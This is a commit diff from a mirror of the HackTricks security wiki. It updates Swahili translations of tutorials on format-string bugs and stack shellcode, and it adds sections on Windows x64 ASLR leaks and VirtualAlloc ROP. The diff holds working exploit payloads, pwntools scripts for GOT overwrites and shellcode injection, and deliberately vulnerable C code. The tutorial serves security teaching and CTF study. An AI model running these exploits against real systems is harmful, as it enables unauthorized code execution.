mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/format-strings/README.md', 'src/bin
This commit is contained in:
		
							parent
							
								
									4f972a6871
								
							
						
					
					
						commit
						7764c82f21
					
				@ -234,6 +234,7 @@
 | 
			
		||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
 | 
			
		||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
 | 
			
		||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
 | 
			
		||||
  - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
 | 
			
		||||
  - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
 | 
			
		||||
  - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
 | 
			
		||||
  - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
 | 
			
		||||
 | 
			
		||||
@ -3,15 +3,15 @@
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
## Taarifa za Msingi
 | 
			
		||||
 | 
			
		||||
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa muundo**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** za **waandishi** kutoka kwa maandiko halisi.
 | 
			
		||||
Katika C **`printf`** ni funsi inayoweza kutumika **kuchapisha** kamba ya herufi. Parameta ya kwanza ambayo funsi hii inatarajia ni maandishi ghafi yenye **vibadilishi vya muundo**. Parameta zinazofuata ni thamani zitakazobadilisha **vibadilishi vya muundo** katika maandishi ghafi.
 | 
			
		||||
 | 
			
		||||
Kazi nyingine zenye udhaifu ni **`sprintf()`** na **`fprintf()`**.
 | 
			
		||||
Funsi nyingine zilizo na udhaifu ni **`sprintf()`** na **`fprintf()`**.
 | 
			
		||||
 | 
			
		||||
Udhaifu huu unatokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza** kwa kazi hii. Mshambuliaji ataweza kuunda **ingizo maalum linalotumia** uwezo wa **printf format** kusoma na **kuandika data yoyote katika anwani yoyote (inasomeka/inayoweza kuandikwa)**. Kwa njia hii, kuwa na uwezo wa **kutekeleza msimbo wowote**.
 | 
			
		||||
Udhaifu hujitokeza wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa funsi hii. Mshambuliaji ataweza kutengeneza ingizo maalum akitumia vibaya uwezo wa printf format string kusoma na kuandika data yoyote kwenye anwani yoyote (readable/writable). Kwa njia hii atakuwa na uwezo wa execute arbitrary code.
 | 
			
		||||
 | 
			
		||||
#### Formatters:
 | 
			
		||||
#### Vibadilishi:
 | 
			
		||||
```bash
 | 
			
		||||
%08x —> 8 hex bytes
 | 
			
		||||
%d —> Entire
 | 
			
		||||
@ -22,9 +22,9 @@ Udhaifu huu unatokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja y
 | 
			
		||||
%hn —> Occupies 2 bytes instead of 4
 | 
			
		||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
 | 
			
		||||
```
 | 
			
		||||
**Mifano:** 
 | 
			
		||||
**Mifano:**
 | 
			
		||||
 | 
			
		||||
- Mfano unaoweza kuathiriwa:
 | 
			
		||||
- Mfano dhaifu:
 | 
			
		||||
```c
 | 
			
		||||
char buffer[30];
 | 
			
		||||
gets(buffer);  // Dangerous: takes user input without restrictions.
 | 
			
		||||
@ -35,11 +35,11 @@ printf(buffer);  // If buffer contains "%x", it reads from the stack.
 | 
			
		||||
int value = 1205;
 | 
			
		||||
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
 | 
			
		||||
```
 | 
			
		||||
- Pamoja na Hoja Zilizokosekana:
 | 
			
		||||
- Kwa Vigezo Vilivyokosekana:
 | 
			
		||||
```c
 | 
			
		||||
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
 | 
			
		||||
```
 | 
			
		||||
- fprintf inayoathiri:
 | 
			
		||||
- fprintf dhaifu:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
 | 
			
		||||
@ -52,28 +52,28 @@ fclose(output_file);
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### **Kupata Viashiria**
 | 
			
		||||
### **Kupata Pointers**
 | 
			
		||||
 | 
			
		||||
Muundo **`%<n>$x`**, ambapo `n` ni nambari, unaruhusu kuashiria kwa printf kuchagua parameter ya n (kutoka kwenye stack). Hivyo ikiwa unataka kusoma parameter ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya:
 | 
			
		||||
Muundo **`%<n>$x`**, ambapo `n` ni nambari, unaruhusu kuagiza printf ichague kigezo cha n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma kigezo cha nne kutoka kwenye stack ukitumia printf unaweza kufanya:
 | 
			
		||||
```c
 | 
			
		||||
printf("%x %x %x %x")
 | 
			
		||||
```
 | 
			
		||||
na ungeweza kusoma kutoka kwa param ya kwanza hadi ya nne.
 | 
			
		||||
na ungeweza kusoma kutoka param ya kwanza hadi param ya nne.
 | 
			
		||||
 | 
			
		||||
Au unaweza kufanya:
 | 
			
		||||
```c
 | 
			
		||||
printf("%4$x")
 | 
			
		||||
```
 | 
			
		||||
na kusoma moja kwa moja ya nne.
 | 
			
		||||
na soma moja kwa moja ya nne.
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba mshambuliaji anadhibiti `printf` **parameta, ambayo kimsingi inamaanisha kwamba** ingizo lake litakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
 | 
			
		||||
Kumbuka kwamba mshambuliaji anadhibiti `printf` **parameter, ambayo kwa msingi wake inamaanisha kwamba** ingizo lake litawekwa kwenye stack wakati `printf` itakapoitwa, ambayo inamaanisha anaweza kuandika specific memory addresses kwenye stack.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Mshambuliaji anayekontrol ingizo hili, ataweza **kuongeza anwani zisizo na mipaka kwenye stack na kufanya `printf` izifikie**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
 | 
			
		||||
> Mshambuliaji anayeudhibiti ingizo hili ataweza **add arbitrary address in the stack and make `printf` access them**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
 | 
			
		||||
 | 
			
		||||
## **Kusoma Bila Mpangilio**
 | 
			
		||||
## **Arbitrary Read**
 | 
			
		||||
 | 
			
		||||
Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ipate **anwani** iliyoko katika **n nafasi**, ikifuatia na **kuichapisha kana kwamba ni string** (chapisha hadi 0x00 ipatikane). Hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
 | 
			
		||||
Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ichukue **address** iliyoko kwenye **n position**, kufuatilia na **kuiprint kama ingekuwa string** (kuprint hadi 0x00 inapopatikana). Kwa hiyo ikiwa base address ya binary ni **`0x8048000`**, na tunajua kwamba user input inaanza kwenye 4th position kwenye stack, inawezekana kuprint mwanzo wa binary kwa:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -87,11 +87,11 @@ p.sendline(payload)
 | 
			
		||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 | 
			
		||||
```
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa 0x00 mwishoni mwa anwani hiyo.
 | 
			
		||||
> Kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa input kwa sababu string itakuwa cat katika 0x00 mwishoni mwa anwani hiyo.
 | 
			
		||||
 | 
			
		||||
### Tafuta offset
 | 
			
		||||
 | 
			
		||||
Ili kupata offset kwa ingizo lako unaweza kutuma bytes 4 au 8 (`0x41414141`) ikifuatiwa na **`%1$x`** na **kuongeza** thamani hadi upate `A's`.
 | 
			
		||||
Ili kupata offset kwa input yako, unaweza kutuma 4 au 8 bytes (`0x41414141`) ikifuatiwa na **`%1$x`** na **ongeza** thamani hadi utakapopata `A's`.
 | 
			
		||||
 | 
			
		||||
<details>
 | 
			
		||||
 | 
			
		||||
@ -126,39 +126,40 @@ p.close()
 | 
			
		||||
```
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
### Jinsi inavyofaa
 | 
			
		||||
### Ni muhimu vipi
 | 
			
		||||
 | 
			
		||||
Kusoma kwa bahati kunaweza kuwa na manufaa kwa:
 | 
			
		||||
Arbitrary reads zinaweza kuwa muhimu kwa:
 | 
			
		||||
 | 
			
		||||
- **Kutoa** **binary** kutoka kwenye kumbukumbu
 | 
			
		||||
- **Kufikia sehemu maalum za kumbukumbu ambapo** **info** **nyeti** imehifadhiwa (kama vile canaries, funguo za usimbuaji au nywila za kawaida kama katika hii [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 | 
			
		||||
- **Dump** the **binary** from memory
 | 
			
		||||
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 | 
			
		||||
 | 
			
		||||
## **Kuandika kwa Bahati**
 | 
			
		||||
## **Arbitrary Write**
 | 
			
		||||
 | 
			
		||||
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandika** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya **`%<num>$n`** kuandika nambari isiyo ya kawaida katika anwani isiyo ya kawaida.
 | 
			
		||||
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the <num> param in the stack. Ikiwa mshambuliaji anaweza kuandika herufi kwa wingi anayetaka kwa kutumia printf, ataweza kumfanya **`%<num>$n`** iandike namba yoyote katika anuani yoyote.
 | 
			
		||||
 | 
			
		||||
Kwa bahati, ili kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
 | 
			
		||||
Kwa bahati nzuri, ili kuandika namba 9999, haitohitaji kuongeza "A" 9999 kwenye input; badala yake inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika namba **`<num-write>`** katika **anuani inayonyoshwa na nafasi ya `num`**.
 | 
			
		||||
```bash
 | 
			
		||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 | 
			
		||||
AAAA.%500\$08x —> Param at offset 500
 | 
			
		||||
```
 | 
			
		||||
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni nambari KUBWA kuandika mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika tu Bytes 2**. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya Bytes 2 za juu za anwani na nyingine kwa ajili ya zile za chini.
 | 
			
		||||
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni Nambari KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inawezesha **kuandika tu 2 Bytes**. Kwa hiyo operesheni hii hufanywa mara mbili, moja kwa 2B za juu za anwani na tena kwa zile za chini.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, udhaifu huu unaruhusu **kuandika chochote katika anwani yoyote (kuandika bila mpangilio).**
 | 
			
		||||
Kwa hivyo, uharibifu huu unawezesha **kuandika kitu chochote katika anwani yoyote (arbitrary write).**
 | 
			
		||||
 | 
			
		||||
Katika mfano huu, lengo litakuwa **kuandika upya** **anwani** ya **function** katika jedwali la **GOT** ambayo itaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za arbitrary write to exec:
 | 
			
		||||
 | 
			
		||||
Katika mfano huu, lengo litakuwa **kuandika upya** **anwani** ya **kazi** katika jedwali la **GOT** ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../arbitrary-write-2-exec/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Tuta **andika upya** **kazi** ambayo **inapokea** **hoja** zake kutoka kwa **mtumiaji** na **kuielekeza** kwa **`system`** **kazi**.\
 | 
			
		||||
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza **unaandika Bytes 2** za anwani na kisha zile nyingine 2. Ili kufanya hivyo **`$hn`** inatumika.
 | 
			
		||||
Tutafanya **kuandika upya** **function** ambayo **inapokea** hoja zake kutoka kwa mtumiaji na kuielekeza kwa **`system`** **function**.\
 | 
			
		||||
Kama ilivyotajwa, kuandika anwani kawaida kunahitaji hatua 2: Kwanza unaandika **2Bytes** za anwani kisha zile nyingine 2. Kufanya hivyo **`$hn`** inatumika.
 | 
			
		||||
 | 
			
		||||
- **HOB** inaitwa kwa Bytes 2 za juu za anwani
 | 
			
		||||
- **LOB** inaitwa kwa Bytes 2 za chini za anwani
 | 
			
		||||
- **HOB** inarejelewa kwa 2 bytes za juu za anwani
 | 
			
		||||
- **LOB** inarejelewa kwa 2 bytes za chini za anwani
 | 
			
		||||
 | 
			
		||||
Kisha, kwa sababu ya jinsi format string inavyofanya kazi unahitaji **kuandika kwanza ndogo** ya \[HOB, LOB] na kisha nyingine.
 | 
			
		||||
Kisha, kutokana na jinsi format string inavyofanya kazi lazima **uandike kwanza ndogo zaidi** ya [HOB, LOB] kisha nyingine.
 | 
			
		||||
 | 
			
		||||
Ikiwa HOB < LOB\
 | 
			
		||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
 | 
			
		||||
@ -170,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 | 
			
		||||
```bash
 | 
			
		||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 | 
			
		||||
```
 | 
			
		||||
### Pwntools Template
 | 
			
		||||
### Pwntools Kiolezo
 | 
			
		||||
 | 
			
		||||
You can find a **template** to prepare a exploit for this kind of vulnerability in:
 | 
			
		||||
Unaweza kupata **kiolezo** cha kuandaa exploit kwa aina hii ya udhaifu katika:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
format-strings-template.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
 | 
			
		||||
Au mfano huu wa msingi kutoka [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -200,18 +201,58 @@ p.interactive()
 | 
			
		||||
```
 | 
			
		||||
## Format Strings to BOF
 | 
			
		||||
 | 
			
		||||
Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili **kuandika katika anwani za stack** na kutumia udhaifu wa aina ya **buffer overflow**.
 | 
			
		||||
Ni uwezekano kutumia vibaya vitendo vya kuandika vya format string vulnerability ili **kuandika kwenye anwani za stack** na kushambulia aina ya **buffer overflow**.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
 | 
			
		||||
 | 
			
		||||
On Windows x64 vigezo vinne vya kwanza vya integer/pointer hupitishwa kwa registers: RCX, RDX, R8, R9. Katika call-sites nyingi zenye mdudu, attacker-controlled string hutumiwa kama format argument lakini hakuna variadic arguments zinazotolewa, kwa mfano:
 | 
			
		||||
```c
 | 
			
		||||
// keyData is fully controlled by the client
 | 
			
		||||
// _snprintf(dst, len, fmt, ...)
 | 
			
		||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 | 
			
		||||
```
 | 
			
		||||
Kwa sababu hakuna varargs zinazopelekwa, any conversion like "%p", "%x", "%s" itasababisha CRT kusoma the next variadic argument kutoka kwa rejista inayofaa. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
 | 
			
		||||
 | 
			
		||||
Practical workflow:
 | 
			
		||||
 | 
			
		||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
 | 
			
		||||
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
 | 
			
		||||
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
 | 
			
		||||
 | 
			
		||||
Example (abbreviated python):
 | 
			
		||||
```python
 | 
			
		||||
from pwn import remote
 | 
			
		||||
 | 
			
		||||
# Send an input that the vulnerable code will pass as the "format"
 | 
			
		||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
 | 
			
		||||
io = remote(HOST, 4141)
 | 
			
		||||
# ... drive protocol to reach the vulnerable snprintf ...
 | 
			
		||||
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
 | 
			
		||||
base   = leaked - 0x20660                     # module base = leak - offset
 | 
			
		||||
print(hex(leaked), hex(base))
 | 
			
		||||
```
 | 
			
		||||
Vidokezo:
 | 
			
		||||
- Offset kamili ya kutoa hupatikana mara moja wakati wa local reversing kisha kutumika tena (same binary/version).
 | 
			
		||||
- Ikiwa "%p" haitachapisha pointer halali katika jaribio la kwanza, jaribu specifiers nyingine ("%llx", "%s") au conversions nyingi ("%p %p %p") ili kusampuli registers/stack za argument nyingine.
 | 
			
		||||
- Mfano huu ni maalum kwa Windows x64 calling convention na implementations za printf-family ambazo hunyakua varargs zisizo zipo kutoka registers wakati format string inazoziomba.
 | 
			
		||||
 | 
			
		||||
Mbinu hii ni muhimu sana kuanzisha ROP kwenye Windows services zilizotengenezwa kwa ASLR na bila primitives wazi za memory disclosure.
 | 
			
		||||
 | 
			
		||||
## Mifano Nyingine & Marejeo
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 | 
			
		||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 | 
			
		||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
 | 
			
		||||
- 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya format strings kuvuja bendera kutoka kwenye stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
 | 
			
		||||
- 32 bit, no relro, no canary, nx, no pie, matumizi ya msingi ya format strings ku-leak flag kutoka stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 | 
			
		||||
- 32 bit, relro, hakuna canary, nx, hakuna pie, format string kuandika anwani `fflush` na kazi ya win (ret2win)
 | 
			
		||||
- 32 bit, relro, no canary, nx, no pie, format string ili ku-overwrite address ya `fflush` na win function (ret2win)
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
 | 
			
		||||
- 32 bit, relro, hakuna canary, nx, hakuna pie, format string kuandika anwani ndani ya main katika `.fini_array` (ili mtiririko urudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika jedwali la GOT ikielekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na ikielekeza kwa `system`, itatekeleza amri zilizopitishwa.
 | 
			
		||||
- 32 bit, relro, no canary, nx, no pie, format string ya kuandika address ndani ya main katika `.fini_array` (kwa hivyo flow inarudi tena mara 1) na kuandika address ya `system` kwenye GOT table ikielekeza kwa `strlen`. Wakati flow inaporudi main, `strlen` itatekelezwa na user input na ikiwa inamaanisha `system`, itatekeleza amri zilizopitishwa.
 | 
			
		||||
 | 
			
		||||
## Marejeo
 | 
			
		||||
 | 
			
		||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 | 
			
		||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,13 +2,13 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
## Taarifa za Msingi
 | 
			
		||||
 | 
			
		||||
**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu iliyo hatarini na kisha kubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuelekeza kwenye eneo la shellcode hii, na kusababisha itekelezwe. Hii ni mbinu ya jadi inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri zisizo na mipaka kwenye mfumo wa lengo. Hapa kuna muhtasari wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayolingana kwa kutumia Python na **pwntools**.
 | 
			
		||||
**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu dhaifu na kisha hubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuielekeza kwenye eneo la shellcode hiyo, na kusababisha itekelezwe. Hii ni njia ya klasik inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri za hiari kwenye mfumo wa lengo. Hapa kuna uchanganuzi wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayoendana ukitumia Python na **pwntools**.
 | 
			
		||||
 | 
			
		||||
### C Example: A Vulnerable Program
 | 
			
		||||
### Mfano wa C: Programu dhaifu
 | 
			
		||||
 | 
			
		||||
Let's start with a simple example of a vulnerable C program:
 | 
			
		||||
Tuanze na mfano rahisi wa programu dhaifu ya C:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Programu hii ina udhaifu wa buffer overflow kutokana na matumizi ya kazi ya `gets()`.
 | 
			
		||||
Programu hii iko hatarini kwa buffer overflow kutokana na matumizi ya `gets()` function.
 | 
			
		||||
 | 
			
		||||
### Uundaji
 | 
			
		||||
### Kujenga
 | 
			
		||||
 | 
			
		||||
Ili kuunda programu hii huku ukizima ulinzi mbalimbali (ili kuiga mazingira yenye udhaifu), unaweza kutumia amri ifuatayo:
 | 
			
		||||
Ili kujenga programu hii huku ukizima ulinzi mbalimbali (to simulate a vulnerable environment), unaweza kutumia amri ifuatayo:
 | 
			
		||||
```sh
 | 
			
		||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-fno-stack-protector`: Inazima ulinzi wa stack.
 | 
			
		||||
- `-z execstack`: Inafanya stack kuwa executable, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
 | 
			
		||||
- `-no-pie`: Inazima Position Independent Executable, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwa.
 | 
			
		||||
- `-m32`: Inakusanya programu kama executable ya 32-bit, mara nyingi hutumiwa kwa urahisi katika maendeleo ya exploit.
 | 
			
		||||
- `-fno-stack-protector`: Inazima stack protection.
 | 
			
		||||
- `-z execstack`: Hufanya stack executable, jambo linalohitajika kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
 | 
			
		||||
- `-no-pie`: Inazima Position Independent Executable, na hivyo kurahisisha kutabiri memory address ambapo shellcode yetu itakuwa.
 | 
			
		||||
- `-m32`: Hucompile programu kama 32-bit executable, mara nyingi kutumika kwa urahisi katika exploit development.
 | 
			
		||||
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
 | 
			
		||||
Hapa kuna jinsi unavyoweza kuandika exploit kwa Python ukitumia **pwntools** ili kufanya shambulio la **ret2shellcode**:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -66,26 +66,97 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** kwa anwani inayotaja NOP slide, kuhakikisha shellcode inatekelezwa.
 | 
			
		||||
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
 | 
			
		||||
 | 
			
		||||
**NOP slide** (`asm('nop')`) inatumika kuongeza nafasi kwamba utekelezaji uta "slide" ndani ya shellcode yetu bila kujali anwani halisi. Badilisha hoja ya `p32()` kwa anwani ya mwanzo ya buffer yako pamoja na offset ili kuangukia kwenye NOP slide.
 | 
			
		||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa sawa kila wakati na unahitaji kuwa na leak ili kubaini wapi kazi ya win imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
 | 
			
		||||
Kwenye Windows za kisasa stack sio executable (DEP/NX). Njia ya kawaida ya bado kuendesha stack-resident shellcode baada ya stack BOF ni kujenga mnyororo wa 64-bit ROP unaoitisha VirtualAlloc (au VirtualProtect) kutoka kwa module Import Address Table (IAT) ili kufanya eneo la stack liwe executable kisha kurudi katika shellcode iliyounganishwa baada ya mnyororo.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
Key points (Win64 calling convention):
 | 
			
		||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
 | 
			
		||||
- RCX = lpAddress → chagua anwani kwenye stack ya sasa (e.g., RSP) ili eneo jipya lililotengwa la RWX ligongane na payload yako
 | 
			
		||||
- RDX = dwSize → kubwa vya kutosha kwa chain yako + shellcode (e.g., 0x1000)
 | 
			
		||||
- R8  = flAllocationType = MEM_COMMIT (0x1000)
 | 
			
		||||
- R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
 | 
			
		||||
- Return directly into the shellcode placed right after the chain.
 | 
			
		||||
 | 
			
		||||
Minimal strategy:
 | 
			
		||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
 | 
			
		||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
 | 
			
		||||
3) Place stage-2 shellcode immediately after the chain.
 | 
			
		||||
 | 
			
		||||
Example layout (conceptual):
 | 
			
		||||
```
 | 
			
		||||
